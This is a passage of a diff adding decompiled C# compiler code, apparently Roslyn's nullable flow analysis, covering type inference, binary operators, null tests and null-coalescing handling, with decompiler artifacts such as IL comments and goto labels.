ArrayBuilder.GetInstance(count); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current2 = enumerator.Current; + var (boundExpression, conversion) = RemoveConversion(current2, includeExplicitConversions: false); + instance2.Add(boundExpression); + instance3.Add(conversion); + SnapshotWalkerThroughConversionGroup(current2, boundExpression); + TypeWithState typeWithState = VisitRvalueWithState(boundExpression); + instance4.Add(typeWithState); + if (!IsTargetTypedExpression(boundExpression)) + { + instance5.Add(CreatePlaceholderIfNecessary(boundExpression, typeWithState.ToTypeWithAnnotations(compilation))); + } + } + ImmutableArray exprs = instance5.ToImmutableAndFree(); + TypeSymbol typeSymbol = null; + if (!hasErrors) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + typeSymbol = BestTypeInferrer.InferBestType(exprs, _conversions, ref useSiteInfo, out var _); + } + TypeWithAnnotations typeWithAnnotations2 = (((object)typeSymbol == null) ? targetTypeOpt.SetUnknownNullabilityForReferenceTypes() : TypeWithAnnotations.Create(typeSymbol)); + if ((object)typeSymbol != null) + { + for (int i = 0; i < count; i++) + { + BoundExpression boundExpression2 = instance2[i]; + BoundConversion conversionIfApplicable = GetConversionIfApplicable(instance[i], boundExpression2); + instance4[i] = VisitConversion(conversionIfApplicable, boundExpression2, instance3[i], typeWithAnnotations2, instance4[i], checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment, null, reportTopLevelWarnings: false); + } + NullableFlowState nullableState = BestTypeInferrer.GetNullableState(instance4); + typeWithAnnotations2 = TypeWithState.Create(typeWithAnnotations2.Type, nullableState).ToTypeWithAnnotations(compilation); + for (int j = 0; j < count; j++) + { + VisitConversion(null, instance2[j], Conversion.Identity, typeWithAnnotations2, instance4[j], checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Assignment, null, reportTopLevelWarnings: true, reportRemainingWarnings: false); + } + } + else + { + for (int k = 0; k < count; k++) + { + TrackAnalyzedNullabilityThroughConversionGroup(typeWithAnnotations2.ToTypeWithState(), instance[k] as BoundConversion, instance2[k]); + } + } + instance2.Free(); + instance3.Free(); + instance4.Free(); + TypeSymbol typeSymbol2; + if (!(type is ArrayTypeSymbol arrayTypeSymbol2)) + { + if (!(type is PointerTypeSymbol pointerTypeSymbol2)) + { + if (!(type is NamedTypeSymbol namedType2)) + { + throw ExceptionUtilities.UnexpectedValue((object)type.TypeKind); + } + typeSymbol2 = setSpanElementType(namedType2, typeWithAnnotations2); + } + else + { + typeSymbol2 = pointerTypeSymbol2.WithPointedAtType(typeWithAnnotations2); + } + } + else + { + typeSymbol2 = arrayTypeSymbol2.WithElementType(typeWithAnnotations2); + } + result = typeSymbol2; + } + instance.Free(); + return result; + static TypeWithAnnotations getSpanElementType(NamedTypeSymbol namedTypeSymbol) + { + return namedTypeSymbol.TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0]; + } + static TypeSymbol setSpanElementType(NamedTypeSymbol namedTypeSymbol, TypeWithAnnotations elementType) + { + return namedTypeSymbol.OriginalDefinition.Construct(ImmutableArray.Create(elementType)); + } + } + + private static bool IsTargetTypedExpression(BoundExpression node) + { + if (node is BoundConditionalOperator boundConditionalOperator) + { + if (boundConditionalOperator.WasTargetTyped) + { + goto IL_004e; + } + } + else if (node is BoundConvertedSwitchExpression boundConvertedSwitchExpression) + { + if (boundConvertedSwitchExpression.WasTargetTyped) + { + goto IL_004e; + } + } + else if (node is BoundObjectCreationExpressionBase boundObjectCreationExpressionBase) + { + if (boundObjectCreationExpressionBase.WasTargetTyped) + { + goto IL_004e; + } + } + else if (node is BoundDelegateCreationExpression { WasTargetTyped: not false }) + { + goto IL_004e; + } + return false; + IL_004e: + return true; + } + + internal static TypeWithAnnotations BestTypeForLambdaReturns(ArrayBuilder<(BoundExpression expr, TypeWithAnnotations resultType, bool isChecked)> returns, Binder binder, BoundNode node, Conversions conversions, out bool inferredFromFunctionType) + { + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0072: Unknown result type (might be due to invalid IL or missing references) + //IL_010b: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + NullableWalker nullableWalker = new NullableWalker(binder.Compilation, null, useConstructorExitWarnings: false, useDelegateInvokeParameterTypes: false, useDelegateInvokeReturnType: false, null, node, binder, conversions, null, null, null, null, null); + int count = returns.Count; + ArrayBuilder instance = ArrayBuilder.GetInstance(count); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(count); + for (int i = 0; i < count; i++) + { + var (expr, typeWithAnnotations, _) = returns[i]; + instance.Add(typeWithAnnotations); + instance2.Add(CreatePlaceholderIfNecessary(expr, typeWithAnnotations)); + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + ImmutableArray exprs = instance2.ToImmutableAndFree(); + TypeSymbol typeSymbol = BestTypeInferrer.InferBestType(exprs, nullableWalker._conversions, ref useSiteInfo, out inferredFromFunctionType); + TypeWithAnnotations result; + if ((object)typeSymbol != null) + { + TypeWithAnnotations targetTypeWithNullability = TypeWithAnnotations.Create(typeSymbol); + Conversions conversions2 = nullableWalker._conversions.WithNullability(includeNullability: false); + for (int j = 0; j < count; j++) + { + BoundExpression boundExpression = exprs[j]; + Conversion conversion = conversions2.ClassifyConversionFromExpression(boundExpression, typeSymbol, returns[j].Item3, ref useSiteInfo); + instance[j] = nullableWalker.VisitConversion(null, boundExpression, conversion, targetTypeWithNullability, instance[j].ToTypeWithState(), checkConversion: false, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Return, null, reportTopLevelWarnings: false, reportRemainingWarnings: false).ToTypeWithAnnotations(binder.Compilation); + } + result = TypeWithAnnotations.Create(typeSymbol, BestTypeInferrer.GetNullableAnnotation(instance)); + } + else + { + result = default(TypeWithAnnotations); + } + instance.Free(); + nullableWalker.Free(); + return result; + } + + private static void GetArrayElements(BoundArrayInitialization node, ArrayBuilder builder) + { + ImmutableArray.Enumerator enumerator = node.Initializers.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + if (current.Kind == BoundKind.ArrayInitialization) + { + GetArrayElements((BoundArrayInitialization)current, builder); + } + else + { + builder.Add(current); + } + } + } + + public override BoundNode? VisitArrayAccess(BoundArrayAccess node) + { + Visit(node.Expression); + CheckPossibleNullReceiver(node.Expression); + ArrayTypeSymbol arrayTypeSymbol = ResultType.Type as ArrayTypeSymbol; + ImmutableArray.Enumerator enumerator = node.Indices.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundExpression current = enumerator.Current; + VisitRvalue(current); + } + TypeWithAnnotations type = ((node.Indices.Length != 1 || !TypeSymbol.Equals(node.Indices[0].Type, compilation.GetWellKnownType((WellKnownType)285), (TypeCompareKind)0)) ? (arrayTypeSymbol?.ElementTypeWithAnnotations ?? default(TypeWithAnnotations)) : TypeWithAnnotations.Create(arrayTypeSymbol)); + SetLvalueResultType(node, type); + return null; + } + + public override BoundNode? VisitInlineArrayAccess(BoundInlineArrayAccess node) + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Invalid comparison between Unknown and I4 + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Invalid comparison between Unknown and I4 + TypeSymbol? type = VisitRvalueWithState(node.Expression).Type; + VisitRvalue(node.Argument); + TypeWithAnnotations typeWithAnnotations = type.TryGetInlineArrayElementField().TypeWithAnnotations; + WellKnownMember getItemOrSliceHelper = node.GetItemOrSliceHelper; + if (((int)getItemOrSliceHelper == 402 || (int)getItemOrSliceHelper == 408) ? true : false) + { + typeWithAnnotations = TypeWithAnnotations.Create(((NamedTypeSymbol)node.Type).OriginalDefinition.Construct(ImmutableArray.Create(typeWithAnnotations))); + } + SetResult(node, typeWithAnnotations.ToTypeWithState(), typeWithAnnotations); + return null; + } + + private TypeWithState InferResultNullability(BinaryOperatorKind operatorKind, MethodSymbol? methodOpt, TypeSymbol resultType, TypeWithState leftType, TypeWithState rightType) + { + NullableFlowState defaultState = NullableFlowState.NotNull; + if (operatorKind.IsUserDefined()) + { + if ((object)methodOpt != null && methodOpt.ParameterCount == 2) + { + if (operatorKind.IsLifted() && !operatorKind.IsComparison()) + { + return GetLiftedReturnType(methodOpt.ReturnTypeWithAnnotations, leftType.State.Join(rightType.State)); + } + TypeWithState result = GetReturnTypeWithState(methodOpt); + if ((leftType.IsNotNull && methodOpt.ReturnNotNullIfParameterNotNull.Contains(methodOpt.Parameters[0].Name)) || (rightType.IsNotNull && methodOpt.ReturnNotNullIfParameterNotNull.Contains(methodOpt.Parameters[1].Name))) + { + result = result.WithNotNullState(); + } + return result; + } + } + else if (!operatorKind.IsDynamic() && !resultType.IsValueType) + { + defaultState = (operatorKind.Operator() | operatorKind.OperandTypes()) switch + { + BinaryOperatorKind.DelegateCombination => leftType.State.Meet(rightType.State), + BinaryOperatorKind.DelegateRemoval => NullableFlowState.MaybeNull, + _ => NullableFlowState.NotNull, + }; + } + if (operatorKind.IsLifted() && !operatorKind.IsComparison()) + { + defaultState = leftType.State.Join(rightType.State); + } + return TypeWithState.Create(resultType, defaultState); + } + + protected override void VisitBinaryOperatorChildren(ArrayBuilder stack) + { + BoundBinaryOperator binary = ArrayBuilderExtensions.Pop(stack); + (BoundExpression, Conversion) tuple = RemoveConversion(binary.Left, includeExplicitConversions: false); + BoundExpression leftOperand = tuple.Item1; + Conversion leftConversion = tuple.Item2; + PossiblyConditionalState stateWhenNotNull; + bool flag = VisitPossibleConditionalAccess(leftOperand, out stateWhenNotNull) && AbstractFlowPass.CanPropagateStateWhenNotNull(leftConversion); + if (flag) + { + BinaryOperatorKind binaryOperatorKind = binary.OperatorKind.Operator(); + bool flag2 = ((binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) ? true : false); + flag = flag2; + } + if (flag) + { + TypeWithState resultType = ResultType; + (BoundExpression expression, Conversion conversion) tuple2 = RemoveConversion(binary.Right, includeExplicitConversions: false); + BoundExpression item = tuple2.expression; + Conversion item2 = tuple2.conversion; + bool disableDiagnostics = _disableDiagnostics; + _disableDiagnostics = true; + LocalState state = State; + SetState(getUnconditionalStateWhenNotNull(item, stateWhenNotNull)); + VisitRvalue(item); + LocalState state2 = State; + _disableDiagnostics = disableDiagnostics; + SetState(state); + TypeWithState typeWithState = VisitRvalueWithState(item); + ReinferBinaryOperatorAndSetResult(leftOperand, leftConversion, resultType, item, item2, typeWithState, binary); + if (isKnownNullOrNotNull(item, typeWithState)) + { + ConstantValue? constantValueOpt = item.ConstantValueOpt; + bool flag3 = constantValueOpt != null && constantValueOpt.IsNull; + SetConditionalState((flag3 == isEquals(binary)) ? (whenTrue: State, whenFalse: state2) : (whenTrue: state2, whenFalse: State)); + } + if (stack.Count == 0) + { + return; + } + leftOperand = binary; + leftConversion = Conversion.Identity; + binary = ArrayBuilderExtensions.Pop(stack); + } + while (true) + { + if (!learnFromConditionalAccessOrBoolConstant()) + { + Unsplit(); + UseRvalueOnly(leftOperand); + AfterLeftChildHasBeenVisited(leftOperand, leftConversion, binary); + } + if (stack.Count != 0) + { + leftOperand = binary; + leftConversion = Conversion.Identity; + binary = ArrayBuilderExtensions.Pop(stack); + continue; + } + break; + } + LocalState getUnconditionalStateWhenNotNull(BoundExpression otherOperand, PossiblyConditionalState conditionalStateWhenNotNull) + { + LocalState self; + if (!conditionalStateWhenNotNull.IsConditionalState) + { + self = conditionalStateWhenNotNull.State; + } + else + { + if (isEquals(binary)) + { + ConstantValue constantValueOpt2 = otherOperand.ConstantValueOpt; + if (constantValueOpt2 != null && constantValueOpt2.IsBoolean) + { + self = (constantValueOpt2.BooleanValue ? conditionalStateWhenNotNull.StateWhenTrue : conditionalStateWhenNotNull.StateWhenFalse); + goto IL_0062; + } + } + self = conditionalStateWhenNotNull.StateWhenTrue; + Join(ref self, ref conditionalStateWhenNotNull.StateWhenFalse); + } + goto IL_0062; + IL_0062: + return self; + } + static bool isEquals(BoundBinaryOperator boundBinaryOperator) + { + return boundBinaryOperator.OperatorKind.Operator() == BinaryOperatorKind.Equal; + } + static bool isKnownNullOrNotNull(BoundExpression expr, TypeWithState typeWithState2) + { + if (!typeWithState2.State.IsNotNull()) + { + return expr.ConstantValueOpt != null; + } + return true; + } + bool learnFromConditionalAccessOrBoolConstant() + { + BinaryOperatorKind binaryOperatorKind2 = binary.OperatorKind.Operator(); + if ((binaryOperatorKind2 != BinaryOperatorKind.Equal && binaryOperatorKind2 != BinaryOperatorKind.NotEqual) || 1 == 0) + { + return false; + } + TypeWithState resultType2 = ResultType; + var (boundExpression, conversion) = RemoveConversion(binary.Right, includeExplicitConversions: false); + if (isKnownNullOrNotNull(leftOperand, resultType2) && AbstractFlowPass.CanPropagateStateWhenNotNull(conversion) && TryVisitConditionalAccess(boundExpression, out var stateWhenNotNull2)) + { + ReinferBinaryOperatorAndSetResult(leftOperand, leftConversion, resultType2, boundExpression, conversion, ResultType, binary); + LocalState localState = getUnconditionalStateWhenNotNull(leftOperand, stateWhenNotNull2); + ConstantValue? constantValueOpt2 = leftOperand.ConstantValueOpt; + bool flag4 = constantValueOpt2 != null && constantValueOpt2.IsNull; + SetConditionalState((flag4 == isEquals(binary)) ? (whenTrue: State, whenFalse: localState) : (whenTrue: localState, whenFalse: State)); + return true; + } + if (binary.OperatorKind.IsUserDefined()) + { + return false; + } + if (IsConditionalState) + { + ConstantValue constantValueOpt3 = binary.Right.ConstantValueOpt; + if (constantValueOpt3 != null && constantValueOpt3.IsBoolean) + { + LocalState localState2 = StateWhenTrue.Clone(); + LocalState localState3 = StateWhenFalse.Clone(); + LocalState localState4 = localState2; + Unsplit(); + Visit(binary.Right); + UseRvalueOnly(binary.Right); + SetConditionalState((isEquals(binary) == constantValueOpt3.BooleanValue) ? (whenTrue: localState4, whenFalse: localState3) : (whenTrue: localState3, whenFalse: localState4)); + goto IL_0226; + } + } + ConstantValue constantValueOpt4 = binary.Left.ConstantValueOpt; + if (constantValueOpt4 == null || !constantValueOpt4.IsBoolean) + { + return false; + } + Unsplit(); + Visit(binary.Right); + UseRvalueOnly(binary.Right); + if (IsConditionalState && isEquals(binary) != constantValueOpt4.BooleanValue) + { + SetConditionalState(StateWhenFalse, StateWhenTrue); + } + goto IL_0226; + IL_0226: + SetResult(binary, TypeWithState.ForType(binary.Type), TypeWithAnnotations.Create(binary.Type)); + return true; + } + } + + private void ReinferBinaryOperatorAndSetResult(BoundExpression leftOperand, Conversion leftConversion, TypeWithState leftType, BoundExpression rightOperand, Conversion rightConversion, TypeWithState rightType, BoundBinaryOperator binary) + { + MethodSymbol methodSymbol = binary.Method; + bool isLifted; + if (binary.OperatorKind.IsUserDefined() && (object)methodSymbol != null && methodSymbol.ParameterCount == 2) + { + TypeSymbol containingType = methodSymbol.ContainingType; + isLifted = binary.OperatorKind.IsLifted(); + TypeWithState nullableUnderlyingTypeIfNecessary = GetNullableUnderlyingTypeIfNecessary(isLifted, leftType); + TypeWithState nullableUnderlyingTypeIfNecessary2 = GetNullableUnderlyingTypeIfNecessary(isLifted, rightType); + methodSymbol = (MethodSymbol)AsMemberOfType(getTypeIfContainingType(containingType, nullableUnderlyingTypeIfNecessary.Type, leftOperand) ?? getTypeIfContainingType(containingType, nullableUnderlyingTypeIfNecessary2.Type, rightOperand) ?? containingType, methodSymbol); + ImmutableArray parameters = methodSymbol.Parameters; + visitOperandConversionAndPostConditions(binary.Left, leftOperand, leftConversion, parameters[0], nullableUnderlyingTypeIfNecessary); + visitOperandConversionAndPostConditions(binary.Right, rightOperand, rightConversion, parameters[1], nullableUnderlyingTypeIfNecessary2); + SetUpdatedSymbol(binary, binary.Method, methodSymbol); + } + else + { + visitOperandConversion(binary.Left, leftOperand, leftConversion, leftType); + visitOperandConversion(binary.Right, rightOperand, rightConversion, rightType); + } + bool flag = binary.OperatorKind.IsLifted(); + if (flag) + { + bool flag2; + switch (binary.OperatorKind.Operator()) + { + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + flag2 = true; + break; + default: + flag2 = false; + break; + } + flag = flag2; + } + if (flag) + { + SplitAndLearnFromNonNullTest(binary.Left, whenTrue: true); + SplitAndLearnFromNonNullTest(binary.Right, whenTrue: true); + } + TypeWithState resultType = InferResultNullability(binary.OperatorKind, methodSymbol, binary.Type, leftType, rightType); + SetResult(binary, resultType, resultType.ToTypeWithAnnotations(compilation)); + TypeSymbol? getTypeIfContainingType(TypeSymbol baseType, TypeSymbol? derivedType, BoundExpression operand) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + if ((object)derivedType == null || IsTargetTypedExpression(operand)) + { + return null; + } + derivedType = derivedType.StrippedType(); + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = _conversions.ClassifyBuiltInConversion(derivedType, baseType, isChecked: false, ref useSiteInfo); + if (conversion.Exists && !conversion.IsExplicit) + { + return derivedType; + } + return null; + } + void visitOperandConversion(BoundExpression expr, BoundExpression operand, Conversion conversion, TypeWithState operandType) + { + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + if ((object)expr.Type != null) + { + VisitConversion(expr as BoundConversion, operand, conversion, TypeWithAnnotations.Create(expr.Type), operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Argument); + } + } + void visitOperandConversionAndPostConditions(BoundExpression expr, BoundExpression operand, Conversion conversion, ParameterSymbol parameter, TypeWithState operandType) + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + FlowAnalysisAnnotations parameterAnnotations = GetParameterAnnotations(parameter); + TypeWithAnnotations typeWithAnnotations = ApplyLValueAnnotations(parameter.TypeWithAnnotations, parameterAnnotations); + if (isLifted && typeWithAnnotations.Type.IsNonNullableValueType()) + { + typeWithAnnotations = TypeWithAnnotations.Create(MakeNullableOf(typeWithAnnotations)); + } + TypeWithState state = VisitConversion(expr as BoundConversion, operand, conversion, typeWithAnnotations, operandType, checkConversion: true, fromExplicitCast: false, useLegacyWarnings: false, AssignmentKind.Argument, parameter); + CheckDisallowedNullAssignment(state, parameterAnnotations, expr.Syntax, operand); + LearnFromPostConditions(operand, parameterAnnotations); + } + } + + private void AfterLeftChildHasBeenVisited(BoundExpression leftOperand, Conversion leftConversion, BoundBinaryOperator binary) + { + TypeWithState resultType = ResultType; + var (boundExpression, rightConversion) = RemoveConversion(binary.Right, includeExplicitConversions: false); + VisitRvalue(boundExpression); + TypeWithState resultType2 = ResultType; + ReinferBinaryOperatorAndSetResult(leftOperand, leftConversion, resultType, boundExpression, rightConversion, resultType2, binary); + BinaryOperatorKind binaryOperatorKind = binary.OperatorKind.Operator(); + if (binaryOperatorKind == BinaryOperatorKind.Equal || binaryOperatorKind == BinaryOperatorKind.NotEqual) + { + BoundExpression boundExpression2 = null; + ConstantValue? constantValueOpt = binary.Right.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsNull) + { + boundExpression2 = binary.Left; + } + else + { + ConstantValue? constantValueOpt2 = binary.Left.ConstantValueOpt; + if (constantValueOpt2 != null && constantValueOpt2.IsNull) + { + boundExpression2 = binary.Right; + } + } + if (boundExpression2 != null) + { + bool flag = binaryOperatorKind != BinaryOperatorKind.Equal; + SplitAndLearnFromNonNullTest(boundExpression2, flag); + LearnFromNullTest(boundExpression2, ref flag ? ref StateWhenFalse : ref StateWhenTrue); + return; + } + } + BoundExpression boundExpression3 = null; + if (resultType.IsNotNull && resultType2.MayBeNull) + { + boundExpression3 = binary.Right; + } + else if (resultType2.IsNotNull && resultType.MayBeNull) + { + boundExpression3 = binary.Left; + } + if (boundExpression3 != null) + { + switch (binaryOperatorKind) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + boundExpression3 = SkipReferenceConversions(boundExpression3); + SplitAndLearnFromNonNullTest(boundExpression3, whenTrue: true); + break; + case BinaryOperatorKind.NotEqual: + boundExpression3 = SkipReferenceConversions(boundExpression3); + SplitAndLearnFromNonNullTest(boundExpression3, whenTrue: false); + break; + } + } + } + + private void SplitAndLearnFromNonNullTest(BoundExpression operandComparedToNonNull, bool whenTrue) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetSlotsToMarkAsNotNullable(operandComparedToNonNull, instance); + if (instance.Count != 0) + { + Split(); + MarkSlotsAsNotNull(instance, ref whenTrue ? ref StateWhenTrue : ref StateWhenFalse); + } + instance.Free(); + } + + protected override bool VisitInterpolatedStringHandlerParts(BoundInterpolatedStringBase node, bool usesBoolReturns, bool firstPartIsConditional, ref LocalState shortCircuitState) + { + bool result = base.VisitInterpolatedStringHandlerParts(node, usesBoolReturns, firstPartIsConditional, ref shortCircuitState); + SetNotNullResult(node); + return result; + } + + protected override void VisitInterpolatedStringBinaryOperatorNode(BoundBinaryOperator node) + { + SetNotNullResult(node); + } + + private void GetSlotsToMarkAsNotNullable(BoundExpression operand, ArrayBuilder slotBuilder) + { + int lastConditionalAccessSlot = _lastConditionalAccessSlot; + try + { + while (true) + { + switch (operand.Kind) + { + case BoundKind.Conversion: + operand = ((BoundConversion)operand).Operand; + break; + case BoundKind.AsOperator: + operand = ((BoundAsOperator)operand).Operand; + break; + case BoundKind.ConditionalAccess: + { + BoundConditionalAccess boundConditionalAccess = (BoundConditionalAccess)operand; + GetSlotsToMarkAsNotNullable(boundConditionalAccess.Receiver, slotBuilder); + int num = MakeSlot(boundConditionalAccess.Receiver); + if (num > 0) + { + TypeSymbol type = boundConditionalAccess.Receiver.Type; + if (type.IsNullableType()) + { + num = GetNullableOfTValueSlot(type, num, out Symbol _); + } + } + if (num > 0) + { + _lastConditionalAccessSlot = num; + operand = boundConditionalAccess.AccessExpression; + break; + } + return; + } + default: + { + int num = MakeSlot(operand); + if (num > 0 && PossiblyNullableType(operand.Type)) + { + slotBuilder.Add(num); + } + return; + } + } + } + } + finally + { + _lastConditionalAccessSlot = lastConditionalAccessSlot; + } + } + + private static bool PossiblyNullableType([NotNullWhen(true)] TypeSymbol? operandType) + { + return operandType?.CanContainNull() ?? false; + } + + private void MarkSlotsAsNotNull(ArrayBuilder slots, ref LocalState stateToUpdate) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = slots.GetEnumerator(); + while (enumerator.MoveNext()) + { + int current = enumerator.Current; + SetState(ref stateToUpdate, current, NullableFlowState.NotNull); + } + } + + private void LearnFromNonNullTest(BoundExpression expression, ref LocalState state) + { + if (expression is BoundValuePlaceholderBase key) + { + if (_resultForPlaceholdersOpt == null || !((Dictionary)(object)_resultForPlaceholdersOpt).TryGetValue(key, out (BoundExpression, VisitResult) value) || value.Item1 == null) + { + return; + } + (expression, _) = value; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetSlotsToMarkAsNotNullable(expression, instance); + MarkSlotsAsNotNull(instance, ref state); + instance.Free(); + } + + private void LearnFromNonNullTest(int slot, ref LocalState state) + { + SetState(ref state, slot, NullableFlowState.NotNull); + } + + private void LearnFromNullTest(BoundExpression expression, ref LocalState state) + { + if (!(expression.ConstantValueOpt != (ConstantValue)null)) + { + BoundExpression item = RemoveConversion(expression, includeExplicitConversions: true).expression; + int slot = MakeSlot(item); + LearnFromNullTest(slot, item.Type, ref state, markDependentSlotsNotNull: false); + } + } + + private void LearnFromNullTest(int slot, TypeSymbol? expressionType, ref LocalState state, bool markDependentSlotsNotNull) + { + if (slot > 0 && PossiblyNullableType(expressionType)) + { + if (GetState(ref state, slot) == NullableFlowState.NotNull) + { + SetState(ref state, slot, NullableFlowState.MaybeNull); + } + if (markDependentSlotsNotNull) + { + MarkDependentSlotsNotNull(slot, expressionType, ref state); + } + } + } + + private void MarkDependentSlotsNotNull(int slot, TypeSymbol expressionType, ref LocalState state, int depth = 2) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Invalid comparison between Unknown and I4 + if (depth <= 0) + { + return; + } + foreach (Symbol member in getMembers(expressionType)) + { + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + NamedTypeSymbol namedTypeSymbol = _symbol?.ContainingType; + if ((member is PropertySymbol { IsIndexedProperty: false } || (int)member.Kind == 6) && member.RequiresInstanceReceiver() && ((object)namedTypeSymbol == null || AccessCheck.IsSymbolAccessible(member, namedTypeSymbol, ref useSiteInfo))) + { + int orCreateSlot = GetOrCreateSlot(member, slot, forceSlotEvenIfEmpty: true, createIfMissing: false); + if (orCreateSlot > 0) + { + SetState(ref state, orCreateSlot, NullableFlowState.NotNull); + MarkDependentSlotsNotNull(orCreateSlot, member.GetTypeOrReturnType().Type, ref state, depth - 1); + } + } + } + static NamedTypeSymbol effectiveBase(TypeSymbol type) + { + if (!(type is TypeParameterSymbol { EffectiveBaseClassNoUseSiteDiagnostics: var effectiveBaseClassNoUseSiteDiagnostics })) + { + return type.BaseTypeNoUseSiteDiagnostics; + } + return effectiveBaseClassNoUseSiteDiagnostics; + } + static IEnumerable getMembers(TypeSymbol type) + { + ImmutableArray.Enumerator enumerator2 = type.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + yield return enumerator2.Current; + } + NamedTypeSymbol baseType = effectiveBase(type); + while ((object)baseType != null) + { + enumerator2 = baseType.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + yield return enumerator2.Current; + } + baseType = baseType.BaseTypeNoUseSiteDiagnostics; + } + ImmutableArray.Enumerator enumerator3 = inheritedInterfaces(type).GetEnumerator(); + while (enumerator3.MoveNext()) + { + NamedTypeSymbol current2 = enumerator3.Current; + enumerator2 = current2.GetMembers().GetEnumerator(); + while (enumerator2.MoveNext()) + { + yield return enumerator2.Current; + } + } + } + static ImmutableArray inheritedInterfaces(TypeSymbol type) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + if (!(type is TypeParameterSymbol { AllEffectiveInterfacesNoUseSiteDiagnostics: var allEffectiveInterfacesNoUseSiteDiagnostics })) + { + if ((object)type != null && (int)type.TypeKind == 7) + { + return type.AllInterfacesNoUseSiteDiagnostics; + } + return ImmutableArray.Empty; + } + return allEffectiveInterfacesNoUseSiteDiagnostics; + } + } + + private static BoundExpression SkipReferenceConversions(BoundExpression possiblyConversion) + { + while (possiblyConversion.Kind == BoundKind.Conversion) + { + BoundConversion boundConversion = (BoundConversion)possiblyConversion; + ConversionKind conversionKind = boundConversion.ConversionKind; + if (conversionKind == ConversionKind.ImplicitReference || conversionKind == ConversionKind.ExplicitReference) + { + possiblyConversion = boundConversion.Operand; + continue; + } + return possiblyConversion; + } + return possiblyConversion; + } + + public override BoundNode? VisitNullCoalescingAssignmentOperator(BoundNullCoalescingAssignmentOperator node) + { + BoundExpression leftOperand = node.LeftOperand; + BoundExpression rightOperand = node.RightOperand; + int num = MakeSlot(leftOperand); + TypeWithAnnotations typeWithAnnotations = VisitLvalueWithAnnotations(leftOperand); + LocalState state = State.Clone(); + LearnFromNonNullTest(leftOperand, ref state); + LearnFromNullTest(leftOperand, ref State); + if (node.IsNullableValueTypeAssignment) + { + if (num > 0) + { + SetState(ref State, num, NullableFlowState.NotNull); + num = GetNullableOfTValueSlot(typeWithAnnotations.Type, num, out Symbol _); + } + typeWithAnnotations = TypeWithAnnotations.Create(node.Type, NullableAnnotation.NotAnnotated); + } + TypeWithState valueType = VisitOptionalImplicitConversion(rightOperand, typeWithAnnotations, UseLegacyWarnings(leftOperand), trackMembers: false, AssignmentKind.Assignment); + TrackNullableStateForAssignment(rightOperand, typeWithAnnotations, num, valueType, MakeSlot(rightOperand)); + Join(ref State, ref state); + TypeWithState type = TypeWithState.Create(typeWithAnnotations.Type, valueType.State); + SetResultType(node, type); + return null; + } + + public override BoundNode? VisitNullCoalescingOperator(BoundNullCoalescingOperator node) + { + BoundExpression leftOperand = node.LeftOperand; + BoundExpression rightOperand = node.RightOperand; + if (AbstractFlowPass.IsConstantNull(leftOperand)) + { + VisitRvalue(leftOperand); + Visit(rightOperand); + TypeWithState resultType = ResultType; + SetResultType(node, TypeWithState.Create(node.Type, resultType.State)); + return null; + } + VisitPossibleConditionalAccess(leftOperand, out var stateWhenNotNull); + TypeWithState resultType2 = ResultType; + Unsplit(); + LearnFromNullTest(leftOperand, ref State); + if (leftOperand.ConstantValueOpt != (ConstantValue)null) + { + SetUnreachable(); + } + Visit(rightOperand); + TypeWithState resultType3 = ResultType; + Join(ref stateWhenNotNull); + TypeSymbol type = resultType2.Type; + TypeSymbol type2 = resultType3.Type; + var (type3, b) = node.OperatorResultKind switch + { + BoundNullCoalescingOperatorResultKind.NoCommonType => (node.Type, NullableFlowState.NotNull), + BoundNullCoalescingOperatorResultKind.LeftType => getLeftResultType(type, type2), + BoundNullCoalescingOperatorResultKind.LeftUnwrappedType => getLeftResultType(type.StrippedType(), type2), + BoundNullCoalescingOperatorResultKind.RightType => getResultStateWithRightType(type, type2), + BoundNullCoalescingOperatorResultKind.LeftUnwrappedRightType => getResultStateWithRightType(type.StrippedType(), type2), 